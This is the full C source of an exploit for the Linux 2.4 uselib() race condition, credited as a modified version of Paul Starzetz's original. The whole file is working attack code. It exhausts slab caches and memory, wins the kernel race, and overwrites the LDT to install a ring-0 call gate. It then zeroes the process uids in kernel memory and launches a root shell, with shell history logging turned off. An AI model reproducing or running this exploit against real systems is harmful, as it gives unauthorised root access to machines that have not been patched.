/*
 * Linux kernel 2.4 uselib() privilege elevation exploit.
 *
 * original exploit source from http://isec.pl
 * reference: http://isec.pl/vulnerabilities/isec-0021-uselib.txt
 *
 * I modified the Paul Starzetz's exploit, made it more possible
 * to race successfully. The exploit still works only on 2.4 series.  
 * It should be also works on 2.4 SMP, but not easy. 
 *
 * thx newbug.
 *
 * Tim Hsu <timhsu at chroot.org> Jan 2005.
 *
 */
 
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


//  temp lib location
#define LIBNAME   "/tmp/_elf_lib"

//  shell name
#define  SHELL    "/bin/bash"

//  time delta to detect race
#define RACEDELTA  5000

//  if you have more deadbabes in memory, change this
#define MAGIC    0xdeadbabe


//  do not touch
#define  SLAB_THRSH  128
#define  SLAB_PER_CHLD  (INT_MAX - 1)
#define LIB_SIZE  ( PAGE_SIZE * 4 )
#define STACK_SIZE  ( PAGE_SIZE * 4 )

#define LDT_PAGES  ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE  ( LDT_ENTRIES-1 )
#define SEL_GATE  ( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS  ( ENTRY_GATE-2 )
#define SEL_LCS    ( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS  ( ENTRY_GATE-1 )
#define SEL_LDS    ( (ENTRY_LDS<<3)|0x04 )

#define kB    * 1024
#define MB    * 1024 kB
#define GB    * 1024 MB

#define TMPLEN    256
#define PGD_SIZE  ( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];

static pid_t consume_pid;

static volatile int
  val = 0,
  go = 0,
  finish = 0,
  scnt = 0,
  ccnt=0,
  delta = 0,
  delta_max = RACEDELTA,
  map_flags = PROT_WRITE|PROT_READ;


static int
  fstop=0,
  silent=0,
  pidx,
  pnum=0,
  smp_max=0,
  smp,
  wtime=2,
  cpid,
  uid,
  task_size,
  old_esp,
  lib_addr,
  map_count=0,
  map_base=0,
  map_addr,
  addr_min,
  addr_max,
  vma_start,
  vma_end,
  max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
      "HISTFILE=/dev/null",
      NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday  __NR_gettimeofday
#define __NR_sys_sched_yield  __NR_sched_yield
#define __NR_sys_madvise  __NR_madvise
#define __NR_sys_uselib    __NR_uselib
#define __NR_sys_mmap2    __NR_mmap2
#define __NR_sys_munmap    __NR_munmap
#define __NR_sys_mprotect  __NR_mprotect
#define __NR_sys_mremap    __NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);

 
int consume_memory()
{
  struct sysinfo info;
  char *vmem;
  
  sysinfo(&info);
  vmem = malloc(info.freeram);
  if (vmem == NULL)
  {
    perror("malloc");
    return -1;
  }
  memset(vmem, 0x90, info.freeram);

}


inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

  r=t2->tv_sec - t1->tv_sec;
  r*=1000000;
  r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

  if(!errno) {
    fprintf(stdout, "\n[-] FAILED: %s ", message);
  } else {
    fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
      (char*) (strerror(errno)) );
  }
  if(critical)
    printf("\nCRITICAL, entering endless loop");
  printf("\n");
  fflush(stdout);

  unlink(libname);
  kill(cpid, SIGKILL);
  for(;;) kill(0, sig);
}


//  try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
  finish=1;

  for(;;) {
    errno = 0;

//  check if raced:
recheck:
    if(!go) sys_sched_yield();
    sys_gettimeofday(&tm2, NULL);
    delta = tmdiff(&tm1, &tm2);
    if(!smp_max && delta < (unsigned)delta_max) goto recheck;
    smp = smp_max;

//  check if lib VMAs exist as expected under race condition
recheck2:
    val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
    if(val) continue;
    errno = 0;
    val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
        LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
    if( !val || (val<0 && errno!=ENOMEM) ) continue;

//  SMP?
    smp--;
    if(smp>=0) goto recheck2;

//  recheck race
    if(!go) continue;
    finish++;

//  we need to free one vm_area_struct for mmap to work
    val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
    if(val) fatal("mprotect", 0);
    val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
            MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if(-1==val) fatal("mmap2 race", 0);
    printf("\n[+] race won maps=%d", map_count); fflush(stdout);
    kill(consume_pid, SIGKILL);
    _exit(0);
  }

return 0;
}


int callme_1()
{
  return val++;
}


inline int valid_ptr(unsigned ptr)
{
  return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

  if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
    t=(unsigned*)p[3];
    if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
      return 1;
  }
  return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

//  find & reset uids
  while(addr[0] != uid || addr[1] != uid ||
        addr[2] != uid || addr[3] != uid)
    addr++;

  addr[0] = addr[1] = addr[2] = addr[3] = 0;
  addr[4] = addr[5] = addr[6] = addr[7] = 0;

//  find & correct VMA
  for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
    if( validate_vma(addr, vma_start, vma_end) ) {
      addr[1] = task_size - PAGE_SIZE;
      addr[2] = task_size;
      break;
    }
  }
}


void kcode(void);

//  CPL0 code mostly stolen from cliph
void __kcode(void)
{
asm(
  "kcode:            \n"
  "  pusha          \n"
  "  pushl  %es        \n"
  "  pushl  %ds        \n"
  "  movl  $(" xstr(SEL_LDS) ") ,%edx  \n"
  "  movl  %edx,%es      \n"
  "  movl  %edx,%ds      \n"
  "  movl  $0xffffe000,%eax    \n"
  "  andl  %esp,%eax      \n"
  "  pushl  %eax        \n"
  "  call  kernel_code      \n"
  "  addl  $4, %esp      \n"
  "  popl  %ds        \n"
  "  popl  %es        \n"
  "  popa          \n"
  "  lret          \n"
    );
}


int callme_2()
{
  return val + task_size + addr_min;
}


void sigfailed(int v)
{
  ccnt++;
  fatal("lcall", 1);
}


//  modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

  printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
  unlink(libname);

  r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
  if(r) fatal("mprotect 1", 1);

//  check if really LDT
  v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
  signal(SIGSEGV, sigfailed);
  r = *v;
  if(r != MAGIC) {
    printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
    fatal("find LDT", 1);
  }

//  yeah, setup CPL0 gate
  v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
  v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
  printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

//  setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
  v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
  v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
  v[1] = 0x00cf9b00;

  v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
  v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
  v[1] = 0x00cf9300;

//  reprotect to get only one big VMA
  r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
  if(r) fatal("mprotect 2", 1);

//  CPL0 transition
  sys_sched_yield();
  val = callme_1() + callme_2();
  asm("lcall $" xstr(SEL_GATE) ",$0x0");
  //if( getuid()==0 || (val==31337 && strlen(hellc0de)==31337) ) {
  if (getuid()==0) {
    printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
  } else {
    printf("\n[-] uid change failed" ); fflush(stdout);
    sigfailed(0);
  }
  signal(SIGTERM, SIG_IGN);
  kill(0, SIGTERM);
  setresuid(0, 0, 0);
  execl(shellname, "sh", NULL);
  fatal("execl", 0);
}


void scan_mm_finish();
void scan_mm_start();


//  kernel page table scan code
void scan_mm()
{
  map_addr -= PAGE_SIZE;
  if(map_addr <= (unsigned)addr_min)
    scan_mm_start();

  scnt=0;
  val = *(int*)map_addr;
  scan_mm_finish();
}


void scan_mm_finish()
{
retry:
  __asm__("movl  %0, %%esp" : :"m"(old_esp) );

  if(scnt) {
    pagemap[pidx] ^= 1;
  }
  else {
    sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
  }
  pidx--;
  scan_mm();
  goto retry;
}


//  make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;
//static struct user_desc l;
  pnum++;
  if(pnum==1) {
    pidx = max_page-1;
  }
  else if(pnum==2) {
    memset(&l, 0, sizeof(l));
    l.entry_number = LDT_ENTRIES-1;
    l.seg_32bit = 1;
    l.base_addr = MAGIC >> 16;
    l.limit = MAGIC & 0xffff;
    l.limit_in_pages = 1;
    if( modify_ldt(1, &l, sizeof(l)) != 0 )
      fatal("modify_ldt", 1);
    pidx = max_page-1;
  }
  else if(pnum==3) {
    npg=0;
    for(pidx=0; pidx<=max_page-1; pidx++) {
      if(pagemap[pidx]) {
        npg++;
      }
      else if(npg == LDT_PAGES) {
        npg=0;
        try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
      } else {
        npg=0;
      }
    }
    fatal("find LDT", 1);
  }

//  save context & scan page table
  __asm__("movl  %%esp, %0" : :"m"(old_esp) );
  map_addr = addr_max;
  scan_mm();
}


//  return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;
char x1[20];

  fp = fopen("/proc/slabinfo", "r");
  if(!fp)
    fatal("get_slab_objs: fopen", 0);
  fgets(name, sizeof(name) - 1, fp);
  do {
    c = u = a = -1;
    if (!fgets(line, sizeof(line) - 1, fp))
      break;
    c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
         &d, &d, &d, &d);
  } while (strcmp(name, sn));
  close(fileno(fp));
  fclose(fp);
  return c == 7 ? a - u : -1;
}

long memmaped_size = 0;

//  leave one object in the SLAB
inline void prepare_slab()
{
int *r;

  map_addr -= PAGE_SIZE;
  map_count++;
  map_flags ^= PROT_READ;
    
  r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
           MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  if(MAP_FAILED == r) {
    printf("--> prepare_slab(), %dMb\n", memmaped_size/1024/1024);
    fatal("try again", 0);
  }
  memmaped_size += PAGE_SIZE;
  *r = map_addr;
}


//  sig handlers
void segvcnt(int v)
{
  scnt++;
  scan_mm_finish();
}


//  child reap
void reaper(int v)
{
  ccnt++;
  waitpid(0, &v, WNOHANG|WUNTRACED);
}


//  sometimes I get the VMAs in reversed order...
//  so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
  map_flags = 0;
  check_vma_flags();
}


void check_vma_flags()
{
  if(map_flags) {
    __asm__("movl  %%esp, %0" : :"m"(old_esp) );
  } else {
    __asm__("movl  %0, %%esp" : :"m"(old_esp) );
    goto out;
  }
  signal(SIGSEGV, vreversed);
  val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


//  use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

//  printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);
//  helper clone
  finish=0; ccnt=0;
  sz = sizeof(cstack) / sizeof(cstack[0]);
  cpid = clone(&raceme, (void*) &cstack[sz-16],
      CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
  if(-1==cpid) fatal("clone", 0);

//  synchronize threads
  while(!finish) sys_sched_yield();
  finish=0;
  if(!silent) {
    printf("\n"); fflush(stdout);
  }

//  try to hit the kmalloc race
  for(;;) {

    r = get_slab_objs("vm_area_struct");
    //printf("\nfree slab = %d\n",r);
    while(r != 1 && r > 0) {
      prepare_slab();
      r--;
    }

    sys_gettimeofday(&tm1, NULL);
    go = 1;
    r=sys_uselib(libname);
    go = 0;
    if(r) fatal("uselib", 0);
    if(finish) break;

//  wipe lib VMAs and try again
    r = sys_munmap(lib_addr, LIB_SIZE);
    if(r) fatal("munmap lib", 0);
    if(ccnt) goto failed;

    if( !silent && !(pcnt%64) ) {
      printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
      fflush(stdout);
    }
    pcnt++;
  }

//  seems we raced, free mem
  r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
  if(r) fatal("munmap 1", 0);
  r = sys_munmap(lib_addr, PAGE_SIZE);
  if(r) fatal("munmap 2", 0);
  
//  relax kswapd
  sys_gettimeofday(&tm1, NULL);
  for(;;) {
    sys_sched_yield();
    sys_gettimeofday(&tm2, NULL);
    delta = tmdiff(&tm1, &tm2);
    if( wtime*1000000U <= (unsigned)delta ) break;
  }

//  we need to check the PROT_EXEC flag
  map_flags = PROT_EXEC;
  check_vma_flags();
  if(!map_flags) {
    printf("\n    VMAs reversed"); fflush(stdout);
  }

//  write protect brk's VMA to fool vm_enough_memory()
  r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
       PROT_READ|map_flags);
  if(-1==r) { fatal("mprotect brk", 0); }

//  this will finally make the big VMA...
  sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
  r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
      LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
  if(r) fatal("madvise", 0);
  r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
      PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
  if(-1==r) {
    if(0==sz) {
      fatal("mremap: expand VMA", 0);
    } else {
      sz -= PAGE_SIZE;
      goto expand;
    }
  }
  vma_start = lib_addr + PAGE_SIZE;
  vma_end = vma_start + sz + 2*PAGE_SIZE;
  printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
  fflush(stdout);

//  try to figure kernel layout
  signal(SIGCHLD, reaper);
  signal(SIGSEGV, segvcnt);
  signal(SIGBUS, segvcnt);
  scan_mm_start();

failed:
  printf("failed:\n");
  fatal("try again", 0);

}


//  make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

//  make our elf library
  umask(022);
  unlink(libname);
  fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
  if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
  memset(&eh, 0, sizeof(eh) );

//  elf exec header
  memcpy(eh.e_ident, ELFMAG, SELFMAG);
  eh.e_type = ET_EXEC;
  eh.e_machine = EM_386;
  eh.e_phentsize = sizeof(struct elf_phdr);
  eh.e_phnum = 1;
  eh.e_phoff = sizeof(eh);
  write(fd, &eh, sizeof(eh) );

//  section header:
  memset(&eph, 0, sizeof(eph) );
  eph.p_type = PT_LOAD;
  eph.p_offset = 4096;
  eph.p_filesz = 4096;
  eph.p_vaddr = lib_addr;
  eph.p_memsz = LIB_SIZE;
  eph.p_flags = PF_W|PF_R|PF_X;
  write(fd, &eph, sizeof(eph) );

//  execable code
  lseek(fd, 4096, SEEK_SET);
  memset(tmpbuf, 0x90, sizeof(tmpbuf) );
  write(fd, &tmpbuf, sizeof(tmpbuf) );
  close(fd);
}


//  move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

  old_esp &= ~(PAGE_SIZE-1);
  old_esp -= PAGE_SIZE;
  task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
  r = sys_munmap(old_esp, task_size-old_esp);
  if(r) fatal("unmap stack", 0);

//  setup rt env
  uid = getuid();
  lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
  if(map_base)
    map_addr = map_base;
  else
    map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
  printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
    old_esp, task_size, map_base); fflush(stdout);

//  check physical mem & prepare
  sysinfo(&si);
  addr_min = task_size + si.totalram;
  addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
  addr_max = addr_min + si.totalram;
  if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
    addr_max = 0xffffd000;

  printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
  max_page = (addr_max - addr_min) / PAGE_SIZE;
  pagemap = malloc( max_page + 32 );
  if(!pagemap) fatal("malloc pagemap", 1);
  memset(pagemap, 0, max_page + 32);

//  go go
  make_lib();
  exploitme();
}


//  move stack down #1
void prepare()
{
unsigned p=0;

  environ = myenv;

  p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
           MAP_PRIVATE|MAP_ANONYMOUS, 0, 0  );
  if(-1==p) fatal("mmap2 stack", 0);
  p += STACK_SIZE - 64;

  __asm__("movl  %%esp, %0  \n"
    "movl   %1, %%esp  \n"
    : : "m"(old_esp), "m"(p)
  );

  prepare_finish();
}


void chldcnt(int v)
{
  ccnt++;
}


//  alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

  __asm__("movl  %%esp, %0" : : "m"(old_esp) );

  old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
  old_esp = map_base? map_base : old_esp;

  for(;;) {
    if(left<=0)
      left = get_slab_objs("vm_area_struct");
    if(left <= SLAB_THRSH)
      break;
    left--;

    map_flags ^= PROT_READ;
    old_esp -= PAGE_SIZE;
    r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
    if(MAP_FAILED == r)
      break;

    if(c>SLAB_PER_CHLD)
      break;
    if( (c%1024)==0 ) {
      if(!c) printf("\n");
      printf("\r    child %d VMAs %d", val, c);
      fflush(stdout);
    }
    c++;
  }
  printf("\r    child %d VMAs %d", val, c);
  fflush(stdout);
  kill(getppid(), SIGUSR1);
  for(;;) pause();
}


//  empty SLAB caches
void wipe_slab()
{
  signal(SIGUSR1, chldcnt);
  printf("\n[+] SLAB cleanup"); fflush(stdout);
  for(;;) {
    ccnt=0;
    val++;
    cpid = fork();
    if(!cpid)
      do_wipe();

    while(!ccnt) sys_sched_yield();
    if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
      break;
  }
  signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
  printf("\nUsage: %s\t-f forced stop\n", n);
  printf("\t\t-s silent mode\n");
  printf("\t\t-c command to run\n");
  printf("\t\t-n SMP iterations\n");
  printf("\t\t-d race delta us\n");
  printf("\t\t-w wait time seconds\n");
  printf("\t\t-l alternate lib name\n");
  printf("\t\t-a alternate addr hex\n");
  printf("\n");
  _exit(1);
}


//  give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

  while(ac) {
    r = getopt(ac, av, "n:l:a:w:c:d:fsh");
    if(r<0) break;

    switch(r) {

    case 'f' :
      fstop = 1;
      break;

    case 's' :
      silent = 1;
      break;

    case 'n' :
      smp_max = atoi(optarg);
      break;

    case 'd':
      if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
        fatal("bad delta value", 0);
      break;

    case 'w' :
      wtime = atoi(optarg);
      if(wtime<0) fatal("bad wait value", 0);
      break;

    case 'l' :
      libname = strdup(optarg);
      break;

    case 'c' :
      shellname = strdup(optarg);
      break;

    case 'a' :
      if(1!=sscanf(optarg, "%x", &map_base))
        fatal("bad addr value", 0);
      map_base &= ~(PGD_SIZE-1);
      break;

    case 'h' :
    default:
      usage(av[0]);
      break;
    }
  }
  consume_pid = fork();
  
  if (consume_pid == 0)
  {
    consume_memory();
    pause();
    return 0;
  }
//  basic setup
  uid = getuid();
  setpgrp();
  wipe_slab();
  prepare();

return 0;
}